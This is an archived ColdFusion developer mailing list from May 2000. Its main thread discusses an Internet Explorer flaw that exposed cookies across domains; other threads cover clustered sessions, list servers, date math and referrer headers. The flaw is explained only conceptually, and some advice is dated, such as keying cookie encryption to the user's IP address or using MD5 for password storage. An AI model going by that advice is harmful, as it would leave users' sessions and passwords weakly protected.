> > > then go to the test site mentioned in the article and see if the
exploit
> > > can
> > > find your cookie .. it gives you the option to type in a speciffic
> domain
> > > name to search for.  It would be really kinda cool if it wasn't a
> > > potential
> > > hazard.
> > >
> > > BTW, Amazon and friends encrypt their cookies, from what I've heard.
> > > Anyone
> > > have any CF related info on doing the same?
>
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Re: Session vars in a clustered environment

[David Cummins]

But considering that you can choose to store them in an external database, I
would assume that all the servers in the cluster could access the same set of
client variables.

They would just share an SQL server.

David

Todd Ashworth wrote:
> 
> BTW .. Just as a side note, client variables don't migrate across clustered
> servers either .. to my knowledge.
> 
> .Todd
> 
> - Original Message -
> From: David Cummins <[EMAIL PROTECTED]>
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> Sent: Tuesday, May 16, 2000 7:33 PM
> Subject: Re: Session vars in a clustered environment
> 
> > Not being an expert or anything but I think session variables are
> probably a
> > dead cause for clustered systems. At least client variables can be stored
> in a
> > shared database.
> >
> > BTW, is there an easy way you could make a client variable "expire", and
> use it
> > like a session variable?
> >
> > David
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Re: CFWACK (was: "You have nice cookies .. mind if I have alook?")

[David Cummins]

Mmmm... yes... lacks a certain elegance, but it would work (providing its not
already in  tags.

Oh well, top marks. ;)

paul smith wrote:
> 
> You could use Studio and do a search on
> 
> .cfm"
> 
> replacing it with
> 
> .cfm?#application.addToken#"
> 
> best,  paul
> 
> At 12:23 PM 5/17/00 +1200, you wrote:
> >Ah, right. Yep, I've got a copy of that.
> >
> >But page 648 onwards does not specify an easy way of passing those extra
> >parameters on the URL - you've got to admit, its a real pain adding it in all
> >the time.
> >
> >Any tips on automating it?
> >
> >David
> >
> >"Braver, Ben:" wrote:
> > >
> > > CFWACK is the ColdFusion Web Application Construction Kit by Ben Forta,
> > > published by Que books -- otherwise known as the Bible.
> > >
> > > > -Original Message-
> > > > From: David Cummins [SMTP:[EMAIL PROTECTED]]
> > > > Sent: Tuesday, May 16, 2000 4:31 PM
> > > > To:   [EMAIL PROTECTED]
> > > > Subject:  Re: "You have nice cookies .. mind if I have a look?"
> > > >
> > > > For those of us who don't know what CFWACK is... how do you do set
> > the URL
> > > > automatically? Do you just write a CF_A_HREF which does it?
> > > >
> > > > PS - automajically is one of my favourite words.
> > > >
> > > > David
> > > >
> > > > paul smith wrote:
> > > > >
> > > > > It can be made pretty automagic.  That is, test if
> > > > > cookies can be set, if so, use them.  If not, maintain
> > > > > state by URL automagically.  See p 648 CFWACK4 3rd Ed
> > > > >
> > > > > best,  paul
> > > > >
> > > > > At 04:03 PM 5/16/00 -0400, you wrote:
> > > > > >I shouldn't  need to jump through the hoops of passing session vars
> > > > > >through URLs
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RE: Seeking Broadcast E-mail System

[Steve Pierce]

Try Lyris from www.lyris.com. They use it at C-Net Central for the largest
email lists in the world, it might be able to do what you want.

 - Steve


-Original Message-
From: Parker, Kevin [mailto:[EMAIL PROTECTED]]
Sent: Tuesday, May 16, 2000 10:13 PM
To: [EMAIL PROTECTED]
Subject: RE: Seeking Broadcast E-mail System


Thanks Steve - don't want to mention any names but it sounds something like
list caster. For those interested what happened was we sent a message to the
list and as expected some mailboxes didn't exist any more (which is quite
normal) so the receiving sever sent a message back to our list. Our list
server didn't know what to do with them so it sent them back to the sever
from whence they came and vice versa. Fortunately it wasn't an infinite loop
but it then proceeded to e-mail all the error messages to everyone on the
list. An issue aside - we had great difficulty with the interfaces for this
product - for example some fields and boxes were below the bottom of the
screen and we couldn't scroll down to them, we had to tab to expose them
which I think is very poor design.

Our ISP gives us access to major-domo via Major Cool which is quite good but
we can't administer all aspects of the list and have to rely on ISP support
for some of them - simple things such as changing the intro message for
example.

Thanks again for the advice Steve.


+
Kevin Parker
Service and Communication
WorkCover Corporation

[EMAIL PROTECTED]
www.workcover.com

ph:  +61 8 82332548
fax: +61 8 82332000
mob: 0418 800 287

++

-Original Message-
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Sent: Wednesday, 17 May 2000 11:29 AM
To: [EMAIL PROTECTED]
Subject: RE: Seeking Broadcast E-mail System


CF is the wrong tool for a mailing list. Sure you can do it, and yes you can
use Excel spreadsheets as a database instead of SQL but would you want to?
Figure out why your NT mailing product filed and get a better one. BTW,
which one was such a nightmare for you.

 - Steve

Steve Pierce, HDL
"Co-Location starting $99 per month, no setup fee"
(734) 482-9682 | mailto:[EMAIL PROTECTED] | http://HDL.com



-Original Message-
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Sent: Tuesday, May 16, 2000 9:43 PM
To: [EMAIL PROTECTED]
Subject: RE: Seeking Broadcast E-mail System


We've had a lot of dramas recently with an NT based list server and I've
effectively told our networking guys to forget it (you don't want to hear
the horror stories - it sounds something like a DOS attack). I've gone back
to our ISP temporarily but want to consider CF options - I'd be grateful if
you could let me look at your templates as well Paul.


+
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Service and Communication
WorkCover Corporation

[EMAIL PROTECTED]
www.workcover.com

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Sent: Wednesday, 17 May 2000 10:56 AM
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Subject: Re: Seeking Broadcast E-mail System


I've got an app like this.
You can see the front end at http://gobears.support.net/
I'll send you the templates if you want.

best,  paul

At 05:06 PM 5/16/00 -0700, you wrote:
>I am looking for a CF-based application or set of custom-tags (application
>is better) that can be used for managing and sending internal broadcast
>e-mail messages within an organization. User base is around 500 people.
>
>Can anyone recommend anything?
>
>Richard Colman
>
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RE: "You have nice cookies .. mind if I have a look?"

[Mike Sheldon]

>>Even the one(s) only accessable on the specified domain set in the cookie?

ALL of them.

Using a specially encoded URL, I was able to access ANY cookie on the user's
system. The only thing the attacker needs to know is what domain's cookies
he wants from the user.

Michael J. Sheldon
Internet Applications Developer
Phone: 480.699.1084
http://www.desertraven.com/
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-Original Message-
From: Todd Ashworth [mailto:[EMAIL PROTECTED]]
Sent: Tuesday, May 16, 2000 19:13
To: [EMAIL PROTECTED]
Subject: Re: "You have nice cookies .. mind if I have a look?"


Even the one(s) only accessable on the specified domain set in the cookie?

- Original Message -
From: Owens, Howard <[EMAIL PROTECTED]>
To: <[EMAIL PROTECTED]>
Sent: Tuesday, May 16, 2000 6:45 PM
Subject: RE: "You have nice cookies .. mind if I have a look?"


>
> I went to the site and was able to search for any domain that has set
> cookies on my computer.  The full Amazon cookie could be pulled up
> (thankfully, one-click is not enabled on this machine).
>
>
> H.
>
> =
> Howard Owens
> Web Producer
> InsideVC.com
> mailto:[EMAIL PROTECTED]
> =
>
> > -Original Message-
> > From: Todd Ashworth [SMTP:[EMAIL PROTECTED]]
> > Sent: Tuesday, May 16, 2000 3:36 PM
> > To: [EMAIL PROTECTED]
> > Subject: Re: "You have nice cookies .. mind if I have a look?"
> >
> > I'm not sure .. of course all the reports I've seen are going for shock
> > value and leaving the technical details usefull to the rest of us out.
> > You
> > could test it I suppose.  You could set such a cookie on your computer
and
> > then go to the test site mentioned in the article and see if the exploit
> > can
> > find your cookie .. it gives you the option to type in a speciffic
domain
> > name to search for.  It would be really kinda cool if it wasn't a
> > potential
> > hazard.
> >
> > BTW, Amazon and friends encrypt their cookies, from what I've heard.
> > Anyone
> > have any CF related info on doing the same?


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CF --> IRC

[Michael Grundvig]

Hello all! I run a video game web site and an IRC server. I want CF to post
a message into certain IRC channels depending on the content we are adding
to the site. Does anyone have any suggestions/experience for/with this? I
BELIEVE PHP can do it, but I cant seem to find anything on it. I would
revert to any langauge I know that can do it if anyone knows a way, but CF
would be much prefered. Thanks in advance for the help!

Mike Grundvig



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Re: "You have nice cookies .. mind if I have a look?"

[Todd Ashworth]

Well .. as someone else mentioned in response to me .. if you could steal
someone's encrypted cookie .. it wouldn't really matter in the case where
someone was masquerading as you.  Sure, they might not be able to read your
personal info, but, i some cases, they could still sure pretend to be you
...

.Todd

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From: John Allred <[EMAIL PROTECTED]>
To: <[EMAIL PROTECTED]>
Sent: Tuesday, May 16, 2000 8:33 PM
Subject: Re: "You have nice cookies .. mind if I have a look?"


> In the page submitted by Todd:
> "The NY Times said it has rewritten its cookies code with stronger
> encryption..."
>
> Certainly no one on this list would steal anyone's cookies , but I
> didn't hear anyone mention the possibility of encrypting one's own
> cookies to protect their contents. This is possible, isn't it?
>
> --John Allred

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Re: "You have nice cookies .. mind if I have a look?"

[Chris Giminez]

But what good is an encrypted cookie?

If I have a cookie on my machine that automatically logs me in to Amazon's one click, 
for example,
encryption is irrelevant if some hacker steals it and installs it as their own. Next 
time they go to
Amazon, they're me; encryption or not.

What's scary about this is that you can only get your cookies "grabbed" by visiting a 
site that is
trying to grab it, right? Well, what about an html email being read? Same thing as 
visiting a site,
right? I would imagine a cookie grabbing script could be embedded in a typical html 
spam just as
easily.


Chris Giminez




> In the page submitted by Todd:
> "The NY Times said it has rewritten its cookies code with stronger
> encryption..."
>
> Certainly no one on this list would steal anyone's cookies , but I
> didn't hear anyone mention the possibility of encrypting one's own
> cookies to protect their contents. This is possible, isn't it?
>
> --John Allred
>
>
> Todd Ashworth wrote:
> >
> > Might want to be extra carefull what you store in your cookies from now on,
> > ladies and gents.  Or .. if you are the naughty kind of CF developer, I
> > suppose you could take advantage of this ...
> >
> > http://www.cnnfn.com/2000/05/16/technology/microsoft_browser/
> >
> > .Todd
> >
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Re: Session vars in a clustered environment

[Todd Ashworth]

BTW .. Just as a side note, client variables don't migrate across clustered
servers either .. to my knowledge.

.Todd

- Original Message -
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Sent: Tuesday, May 16, 2000 7:33 PM
Subject: Re: Session vars in a clustered environment


> Not being an expert or anything but I think session variables are
probably a
> dead cause for clustered systems. At least client variables can be stored
in a
> shared database.
>
> BTW, is there an easy way you could make a client variable "expire", and
use it
> like a session variable?
>
> David

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RE: Seeking Broadcast E-mail System

[Len Conrad]

>CF is the wrong tool for a mailing list.

I agree. I think asking CF to do volume mail deliveries, do DNS lookups, 
deal with a bunch of broken mail servers, Internet delays, etc, etc, is a 
real waste of a CF machine.  CF should be used to generate the mail but 
hand off all the mail at LAN speed to a dedicated machine with a high 
quality MTA that does the actual mail delivery.

Len

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Re: "You have nice cookies .. mind if I have a look?"

[Todd Ashworth]

MS has acknowledged this and is, supposedly, working on a fix for it that
should be out latter this month.

.Todd

- Original Message -
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Sent: Tuesday, May 16, 2000 7:13 PM
Subject: RE: "You have nice cookies .. mind if I have a look?"


> Summary of the problem:
>
> In a nutshell, IE does not urldecode the request string before feeding it
to
> the routine that decides which cookie to send. I've written my own test
> routines, and exploiting this hole is unbelievably simple.
>
> All IE browsers on all MS platforms are vulnerable.
>
> The really nasty bit is that you may never see the URL that stole your
> cookies, it could be an embedded cgi or image link.
>
> >>BTW, Amazon and friends encrypt their cookies
>
> The fact that the cookies are encrypted may be irrelevant. Even if they
> couldn't be cracked (doubtful) they could still be used to impersonate
you.
>
> It would be nice if Microsoft would at least acknowledge this bug. Quite
> frankly, it should be trivial to fix, all they have to do is feed the
> request through a url-decoding function first.

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RE: Seeking Broadcast E-mail System

[Parker, Kevin]

Thanks Steve - don't want to mention any names but it sounds something like
list caster. For those interested what happened was we sent a message to the
list and as expected some mailboxes didn't exist any more (which is quite
normal) so the receiving sever sent a message back to our list. Our list
server didn't know what to do with them so it sent them back to the sever
from whence they came and vice versa. Fortunately it wasn't an infinite loop
but it then proceeded to e-mail all the error messages to everyone on the
list. An issue aside - we had great difficulty with the interfaces for this
product - for example some fields and boxes were below the bottom of the
screen and we couldn't scroll down to them, we had to tab to expose them
which I think is very poor design.

Our ISP gives us access to major-domo via Major Cool which is quite good but
we can't administer all aspects of the list and have to rely on ISP support
for some of them - simple things such as changing the intro message for
example.

Thanks again for the advice Steve.


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-Original Message-
From: Steve Pierce [mailto:[EMAIL PROTECTED]]
Sent: Wednesday, 17 May 2000 11:29 AM
To: [EMAIL PROTECTED]
Subject: RE: Seeking Broadcast E-mail System


CF is the wrong tool for a mailing list. Sure you can do it, and yes you can
use Excel spreadsheets as a database instead of SQL but would you want to?
Figure out why your NT mailing product filed and get a better one. BTW,
which one was such a nightmare for you.

 - Steve

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-Original Message-
From: Parker, Kevin [mailto:[EMAIL PROTECTED]]
Sent: Tuesday, May 16, 2000 9:43 PM
To: [EMAIL PROTECTED]
Subject: RE: Seeking Broadcast E-mail System


We've had a lot of dramas recently with an NT based list server and I've
effectively told our networking guys to forget it (you don't want to hear
the horror stories - it sounds something like a DOS attack). I've gone back
to our ISP temporarily but want to consider CF options - I'd be grateful if
you could let me look at your templates as well Paul.


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From: [EMAIL PROTECTED] [mailto:[EMAIL PROTECTED]]
Sent: Wednesday, 17 May 2000 10:56 AM
To: [EMAIL PROTECTED]
Subject: Re: Seeking Broadcast E-mail System


I've got an app like this.
You can see the front end at http://gobears.support.net/
I'll send you the templates if you want.

best,  paul

At 05:06 PM 5/16/00 -0700, you wrote:
>I am looking for a CF-based application or set of custom-tags (application
>is better) that can be used for managing and sending internal broadcast
>e-mail messages within an organization. User base is around 500 people.
>
>Can anyone recommend anything?
>
>Richard Colman
>
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Re: "You have nice cookies .. mind if I have a look?"

[Todd Ashworth]

Even the one(s) only accessable on the specified domain set in the cookie?

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>
> I went to the site and was able to search for any domain that has set
> cookies on my computer.  The full Amazon cookie could be pulled up
> (thankfully, one-click is not enabled on this machine).
>
>
> H.
>
> =
> Howard Owens
> Web Producer
> InsideVC.com
> mailto:[EMAIL PROTECTED]
> =
>
> > -Original Message-
> > From: Todd Ashworth [SMTP:[EMAIL PROTECTED]]
> > Sent: Tuesday, May 16, 2000 3:36 PM
> > To: [EMAIL PROTECTED]
> > Subject: Re: "You have nice cookies .. mind if I have a look?"
> >
> > I'm not sure .. of course all the reports I've seen are going for shock
> > value and leaving the technical details usefull to the rest of us out.
> > You
> > could test it I suppose.  You could set such a cookie on your computer
and
> > then go to the test site mentioned in the article and see if the exploit
> > can
> > find your cookie .. it gives you the option to type in a speciffic
domain
> > name to search for.  It would be really kinda cool if it wasn't a
> > potential
> > hazard.
> >
> > BTW, Amazon and friends encrypt their cookies, from what I've heard.
> > Anyone
> > have any CF related info on doing the same?

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RE: Seeking Broadcast E-mail System

[Steve Pierce]

CF is the wrong tool for a mailing list. Sure you can do it, and yes you can
use Excel spreadsheets as a database instead of SQL but would you want to?
Figure out why your NT mailing product filed and get a better one. BTW,
which one was such a nightmare for you.

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-Original Message-
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To: [EMAIL PROTECTED]
Subject: RE: Seeking Broadcast E-mail System


We've had a lot of dramas recently with an NT based list server and I've
effectively told our networking guys to forget it (you don't want to hear
the horror stories - it sounds something like a DOS attack). I've gone back
to our ISP temporarily but want to consider CF options - I'd be grateful if
you could let me look at your templates as well Paul.


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Sent: Wednesday, 17 May 2000 10:56 AM
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Subject: Re: Seeking Broadcast E-mail System


I've got an app like this.
You can see the front end at http://gobears.support.net/
I'll send you the templates if you want.

best,  paul

At 05:06 PM 5/16/00 -0700, you wrote:
>I am looking for a CF-based application or set of custom-tags (application
>is better) that can be used for managing and sending internal broadcast
>e-mail messages within an organization. User base is around 500 people.
>
>Can anyone recommend anything?
>
>Richard Colman
>
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RE: Seeking Broadcast E-mail System

[Parker, Kevin]

We've had a lot of dramas recently with an NT based list server and I've
effectively told our networking guys to forget it (you don't want to hear
the horror stories - it sounds something like a DOS attack). I've gone back
to our ISP temporarily but want to consider CF options - I'd be grateful if
you could let me look at your templates as well Paul.


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Sent: Wednesday, 17 May 2000 10:56 AM
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Subject: Re: Seeking Broadcast E-mail System


I've got an app like this.
You can see the front end at http://gobears.support.net/
I'll send you the templates if you want.

best,  paul

At 05:06 PM 5/16/00 -0700, you wrote:
>I am looking for a CF-based application or set of custom-tags (application
>is better) that can be used for managing and sending internal broadcast
>e-mail messages within an organization. User base is around 500 people.
>
>Can anyone recommend anything?
>
>Richard Colman
>
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Re: Seeking Broadcast E-mail System

[paul smith]

I've got an app like this.
You can see the front end at http://gobears.support.net/
I'll send you the templates if you want.

best,  paul

At 05:06 PM 5/16/00 -0700, you wrote:
>I am looking for a CF-based application or set of custom-tags (application
>is better) that can be used for managing and sending internal broadcast
>e-mail messages within an organization. User base is around 500 people.
>
>Can anyone recommend anything?
>
>Richard Colman
>
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Re: CFWACK (was: "You have nice cookies .. mind if I have a look?")

[paul smith]

You could use Studio and do a search on

.cfm"

replacing it with

.cfm?#application.addToken#"

best,  paul

At 12:23 PM 5/17/00 +1200, you wrote:
>Ah, right. Yep, I've got a copy of that.
>
>But page 648 onwards does not specify an easy way of passing those extra
>parameters on the URL - you've got to admit, its a real pain adding it in all
>the time.
>
>Any tips on automating it?
>
>David
>
>"Braver, Ben:" wrote:
> >
> > CFWACK is the ColdFusion Web Application Construction Kit by Ben Forta,
> > published by Que books -- otherwise known as the Bible.
> >
> > > -Original Message-
> > > From: David Cummins [SMTP:[EMAIL PROTECTED]]
> > > Sent: Tuesday, May 16, 2000 4:31 PM
> > > To:   [EMAIL PROTECTED]
> > > Subject:  Re: "You have nice cookies .. mind if I have a look?"
> > >
> > > For those of us who don't know what CFWACK is... how do you do set 
> the URL
> > > automatically? Do you just write a CF_A_HREF which does it?
> > >
> > > PS - automajically is one of my favourite words.
> > >
> > > David
> > >
> > > paul smith wrote:
> > > >
> > > > It can be made pretty automagic.  That is, test if
> > > > cookies can be set, if so, use them.  If not, maintain
> > > > state by URL automagically.  See p 648 CFWACK4 3rd Ed
> > > >
> > > > best,  paul
> > > >
> > > > At 04:03 PM 5/16/00 -0400, you wrote:
> > > > >I shouldn't  need to jump through the hoops of passing session vars
> > > > >through URLs
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Re: Seeking Broadcast E-mail System

[Rey Bango]

Richard,

Why not just setup a mailing list on a mail server?

Rey

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Subject: Seeking Broadcast E-mail System


> I am looking for a CF-based application or set of custom-tags (application
> is better) that can be used for managing and sending internal broadcast
> e-mail messages within an organization. User base is around 500 people.
>
> Can anyone recommend anything?
>
> Richard Colman
>
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Re: "You have nice cookies .. mind if I have a look?"

[Howie Hamlin]

Two words:

AOL S***s

:-)

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Sent: Tuesday, May 16, 2000 9:00 PM
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> >>As an added measure of security you
> can encrypt the cookie with the IP address as the key...<<
>
> If you're using the user's IP address, you'll likely get a surprise. Some
> proxy servers, most notably AOL's, will rotate through several IP
addresses
> in a single session. The worst I've seen so far was an AOL user who's
> requests came from 15 different IP addresses in 15 consecutive requests.
>
> Michael J. Sheldon
> Internet Applications Developer
> Phone: 480.699.1084
> http://www.desertraven.com/
> PGP Key Available on Request
>
> -Original Message-
> From: Howie Hamlin [mailto:[EMAIL PROTECTED]]
> Sent: Tuesday, May 16, 2000 17:49
> To: [EMAIL PROTECTED]
> Subject: Re: "You have nice cookies .. mind if I have a look?"
>
>
>
> - Original Message -
> From: John Allred <[EMAIL PROTECTED]>
> To: <[EMAIL PROTECTED]>
> Sent: Tuesday, May 16, 2000 8:33 PM
> Subject: Re: "You have nice cookies .. mind if I have a look?"
>
>
> > In the page submitted by Todd:
> > "The NY Times said it has rewritten its cookies code with stronger
> > encryption..."
> >
> > Certainly no one on this list would steal anyone's cookies , but I
> > didn't hear anyone mention the possibility of encrypting one's own
> > cookies to protect their contents. This is possible, isn't it?
> >
>
> Yes, but the safest thing to do is to keep the client "profile" on the
> server and only transmit the cookie.  As an added measure of security you
> can encrypt the cookie with the IP address as the key...
>
> Howie
>
> > --John Allred
> >
> >
>
>
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RE: "You have nice cookies .. mind if I have a look?"

[Mike Sheldon]

>>As an added measure of security you
can encrypt the cookie with the IP address as the key...<<

If you're using the user's IP address, you'll likely get a surprise. Some
proxy servers, most notably AOL's, will rotate through several IP addresses
in a single session. The worst I've seen so far was an AOL user who's
requests came from 15 different IP addresses in 15 consecutive requests.

Michael J. Sheldon
Internet Applications Developer
Phone: 480.699.1084
http://www.desertraven.com/
PGP Key Available on Request

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- Original Message -
From: John Allred <[EMAIL PROTECTED]>
To: <[EMAIL PROTECTED]>
Sent: Tuesday, May 16, 2000 8:33 PM
Subject: Re: "You have nice cookies .. mind if I have a look?"


> In the page submitted by Todd:
> "The NY Times said it has rewritten its cookies code with stronger
> encryption..."
>
> Certainly no one on this list would steal anyone's cookies , but I
> didn't hear anyone mention the possibility of encrypting one's own
> cookies to protect their contents. This is possible, isn't it?
>

Yes, but the safest thing to do is to keep the client "profile" on the
server and only transmit the cookie.  As an added measure of security you
can encrypt the cookie with the IP address as the key...

Howie

> --John Allred
>
>



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Re: "You have nice cookies .. mind if I have a look?"

[John Allred]

Howie Hamlin wrote:
> 
> Yes, but the safest thing to do is to keep the client "profile" on the
> server and only transmit the cookie.  As an added measure of security you
> can encrypt the cookie with the IP address as the key...

It just seems like the web is constantly adapting itself to new
information and new challenges. I agree with someone earlier (and with,
Doh! Microsoft) that no sensitive information should be stored in
cookies. However, encrypting whatever you do store and announcing that
fact (assuming this became a trend among developers), would sure take
the wind out of the sails of the muddled media, which seems to thrive on
manufactured crises in the web world. It's sort of akin to the privacy
statement many sites have where they promise not to share personal info
or e-mail addresses with anyone else.

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Re: "You have nice cookies .. mind if I have a look?"

[Howie Hamlin]

- Original Message -
From: John Allred <[EMAIL PROTECTED]>
To: <[EMAIL PROTECTED]>
Sent: Tuesday, May 16, 2000 8:33 PM
Subject: Re: "You have nice cookies .. mind if I have a look?"


> In the page submitted by Todd:
> "The NY Times said it has rewritten its cookies code with stronger
> encryption..."
>
> Certainly no one on this list would steal anyone's cookies , but I
> didn't hear anyone mention the possibility of encrypting one's own
> cookies to protect their contents. This is possible, isn't it?
>

Yes, but the safest thing to do is to keep the client "profile" on the
server and only transmit the cookie.  As an added measure of security you
can encrypt the cookie with the IP address as the key...

Howie

> --John Allred
>
>


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Re: Subtracting 7 days less than Now() date?

[Joel Richards]

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Content-Type: text/plain; charset="us-ascii"


Try this:
#DateFormat(DateAdd('d', -7,NOW()), ",  dd, ")#


At 08:19 PM 5/16/00 -0400, you wrote:
>Using this:
>
>
>
>How would I subtract 7 days from that date?  I'm making a query where
>data wont be displayed if it is 7 days less than that set date (above).
>
>Would something like this work?
>WHERE Datetoday LT Now(-7)
>
>Ugh, I'm a newbie =P
>
>Thanks,
>
>*~Tiffany~*
>
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Try this:
#DateFormat(DateAdd('d', -7,NOW()), ",  dd,
")#


At 08:19 PM 5/16/00 -0400, you wrote:
>Using this:
>
>
>
>How would I subtract 7 days from that date?  I'm making a
query where
>data wont be displayed if it is 7 days less than that set date
(above).
>
>Would something like this work?
>WHERE Datetoday LT Now(-7)
>
>Ugh, I'm a newbie =P
>
>Thanks,
>
>*~Tiffany~*
>
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Re: Subtracting 7 days less than Now() date?

[Brook Davies]

try:


 Seven days have passed.

 Seven days have not passed.



make sure you test this, cause I didn't!

Brook Davies



At 08:19 PM 16/05/00 -0400, you wrote:
>Using this:
>
>
>
>How would I subtract 7 days from that date?  I'm making a query where
>data wont be displayed if it is 7 days less than that set date (above).
>
>Would something like this work?
>WHERE Datetoday LT Now(-7)
>
>Ugh, I'm a newbie =P
>
>Thanks,
>
>*~Tiffany~*
>
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Re: "You have nice cookies .. mind if I have a look?"

[John Allred]

In the page submitted by Todd:
"The NY Times said it has rewritten its cookies code with stronger
encryption..."

Certainly no one on this list would steal anyone's cookies , but I
didn't hear anyone mention the possibility of encrypting one's own
cookies to protect their contents. This is possible, isn't it?

--John Allred


Todd Ashworth wrote:
> 
> Might want to be extra carefull what you store in your cookies from now on,
> ladies and gents.  Or .. if you are the naughty kind of CF developer, I
> suppose you could take advantage of this ...
> 
> http://www.cnnfn.com/2000/05/16/technology/microsoft_browser/
> 
> .Todd
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Re: Session vars in a clustered environment

[Howie Hamlin]

"Not Equal"

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Subject: Re: Session vars in a clustered environment


> > 
> >  
> > 
> >
>
> What's neq an abbreviation for?
>
> Thanks,
>
> Jay
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RE: HTTP_REFERER Problem

[Bryan Laplante]

Referrer is only available from a hyperlink, this is a built in security
feature of the browser to hide the users history from pages that are not
specifically linked together.

-Original Message-
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Sent: Tuesday, May 16, 2000 6:50 PM
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Subject: Re: HTTP_REFERER Problem


Yep, I realise that, what I mean though is that the referer is NEVER
there, for example I ran a few log files through webtrends and it came up
with no referers whatsoever. v.strange!
I've checked and in the properties for logging in IIS it is definitely
enabled to log the referer. I've ran tests by setting up a link on
another server to a page on our server and getting it to display the
referer but got nada... If I put this test page with the link on our
server though and have it link to another page on our server it does then
give the referer... is it possible for the the firewall to strip out the
referer or something odd like that?
I'm not to "up" on firewalls so dont laugh too hard if that sounds
ridiculous! :) I'm clutching at straws here...

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Sent: Wednesday, May 17, 2000 12:29 AM
Subject: Re: HTTP_REFERER Problem


> The referer is only filled in (that is, "extruded" haha) if the user
clicks
> on a hyperlink to get to your site.  If you are browsing a site and
simply
> type in a new URL then the referer is blank.
>
> Howie Hamlin
> --
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> www.CoolFusion.com
> 
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>
> - Original Message -
> From: Brian Mitter <[EMAIL PROTECTED]>
> To: <[EMAIL PROTECTED]>
> Sent: Tuesday, May 16, 2000 6:39 PM
> Subject: HTTP_REFERER Problem
>
>
> > Hi All,
> >Any IIS wizards out there have any idea why we can never retrieve
the
> > HTTP_REFERER variable if the user has come from ANOTHER
server/domain? If
> > they come from another page on our server/domain we can retrieve the
page
> > in HTTP_REFERER otherwise it is empty.
> > It is turned ON in the logging, is there anywhere else it can be
turned
> > off in IIS?
> >Thanks
> >Brian
> >
>
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RE: Tags for DES encryption

[Cameron Childress]

Dunno about DES, but MD5, SHA, HAVAL, RIPEMD, or TIGER are all available in
CFX_HASH in the tag gallery...

-Cameron


Cameron Childress
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770.460.0963 fax

> -Original Message-
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> Sent: Tuesday, May 16, 2000 6:37 PM
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> Subject: Tags for DES encryption
>
>
> Can anyone recommend a tag to generate a DES encrypted value from a
> password submitted to it?  The encrypted value should not be able to be
> decrypted.
>
> Thanks
>
> Nick
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Subtracting 7 days less than Now() date?

[Tiffany]

Using this:



How would I subtract 7 days from that date?  I'm making a query where
data wont be displayed if it is 7 days less than that set date (above).

Would something like this work?
WHERE Datetoday LT Now(-7)

Ugh, I'm a newbie =P

Thanks,

*~Tiffany~*

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Re: HTTP_REFERER Problem

[David Cummins]

I think that's pretty likely. A proxy could strip that stuff out as part of a
privacy policy.

Would this problem be likely to be at the server end, or the client end? Is this
for a client extranet (in which case it would probably be client end) or general
Internet (in which case it must be server end)?

David

Brian Mitter wrote:
> 
> Yep, I realise that, what I mean though is that the referer is NEVER
> there, for example I ran a few log files through webtrends and it came up
> with no referers whatsoever. v.strange!
> I've checked and in the properties for logging in IIS it is definitely
> enabled to log the referer. I've ran tests by setting up a link on
> another server to a page on our server and getting it to display the
> referer but got nada... If I put this test page with the link on our
> server though and have it link to another page on our server it does then
> give the referer... is it possible for the the firewall to strip out the
> referer or something odd like that?
> I'm not to "up" on firewalls so dont laugh too hard if that sounds
> ridiculous! :) I'm clutching at straws here...
> 
> - Original Message -
> From: "Howie Hamlin" <[EMAIL PROTECTED]>
> To: <[EMAIL PROTECTED]>
> Sent: Wednesday, May 17, 2000 12:29 AM
> Subject: Re: HTTP_REFERER Problem
> 
> > The referer is only filled in (that is, "extruded" haha) if the user
> clicks
> > on a hyperlink to get to your site.  If you are browsing a site and
> simply
> > type in a new URL then the referer is blank.
> >
> > Howie Hamlin
> > --
> > inFusion Project Manager; On-Line Data Solutions, Inc. (631)737-4668
> > www.CoolFusion.com
> > 
> > Please vote for iMS in the Most Innovative category here:
> > *** http://www.sys-con.com/ColdFusion/readerschoice2000/ ***
> > 
> > Check out inFusion Mail Server - the world's most configurable email
> server
> >
> > - Original Message -
> > From: Brian Mitter <[EMAIL PROTECTED]>
> > To: <[EMAIL PROTECTED]>
> > Sent: Tuesday, May 16, 2000 6:39 PM
> > Subject: HTTP_REFERER Problem
> >
> >
> > > Hi All,
> > >Any IIS wizards out there have any idea why we can never retrieve
> the
> > > HTTP_REFERER variable if the user has come from ANOTHER
> server/domain? If
> > > they come from another page on our server/domain we can retrieve the
> page
> > > in HTTP_REFERER otherwise it is empty.
> > > It is turned ON in the logging, is there anywhere else it can be
> turned
> > > off in IIS?
> > >Thanks
> > >Brian
> > >
> >
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Re: Converting from nt to Unix case sensitivity issues

[Todd Ashworth]

well .. I suppose you could do a HUGE advanced search and replace in CF
studio with each letter of the alphabet using that "match case" option.  I'm
sure there's a better way though heh .. I'm just wondering if that would
work?  Hmm .. but that only takes care of the variables  dunno

./Todd

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Subject: Converting from nt to Unix case sensitivity issues


>
>
> Is there a enterprise solution for standardizing file and variable case
size
> when moving from cf on nt to unix?
>
> -Tom
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Re: Session vars in a clustered environment

[Brook Davies]

not equal

At 08:09 PM 16/05/00 -0400, you wrote:
> > 
> >  
> > 
> >
>
>What's neq an abbreviation for?
>
>Thanks,
>
>Jay
>
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Re: CFWACK (was: "You have nice cookies .. mind if I have a look?")

[David Cummins]

Ah, right. Yep, I've got a copy of that.

But page 648 onwards does not specify an easy way of passing those extra
parameters on the URL - you've got to admit, its a real pain adding it in all
the time.

Any tips on automating it?

David

"Braver, Ben:" wrote:
> 
> CFWACK is the ColdFusion Web Application Construction Kit by Ben Forta,
> published by Que books -- otherwise known as the Bible.
> 
> > -Original Message-
> > From: David Cummins [SMTP:[EMAIL PROTECTED]]
> > Sent: Tuesday, May 16, 2000 4:31 PM
> > To:   [EMAIL PROTECTED]
> > Subject:  Re: "You have nice cookies .. mind if I have a look?"
> >
> > For those of us who don't know what CFWACK is... how do you do set the URL
> > automatically? Do you just write a CF_A_HREF which does it?
> >
> > PS - automajically is one of my favourite words.
> >
> > David
> >
> > paul smith wrote:
> > >
> > > It can be made pretty automagic.  That is, test if
> > > cookies can be set, if so, use them.  If not, maintain
> > > state by URL automagically.  See p 648 CFWACK4 3rd Ed
> > >
> > > best,  paul
> > >
> > > At 04:03 PM 5/16/00 -0400, you wrote:
> > > >I shouldn't  need to jump through the hoops of passing session vars
> > > >through URLs
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Seeking Broadcast E-mail System

[Richard Colman]

I am looking for a CF-based application or set of custom-tags (application
is better) that can be used for managing and sending internal broadcast
e-mail messages within an organization. User base is around 500 people.

Can anyone recommend anything?

Richard Colman

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Re: Session vars in a clustered environment

[Jay Sudowski - Handy Networks LLC]

LMAO 

- Original Message -
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To: <[EMAIL PROTECTED]>
Sent: Tuesday, May 16, 2000 7:46 PM
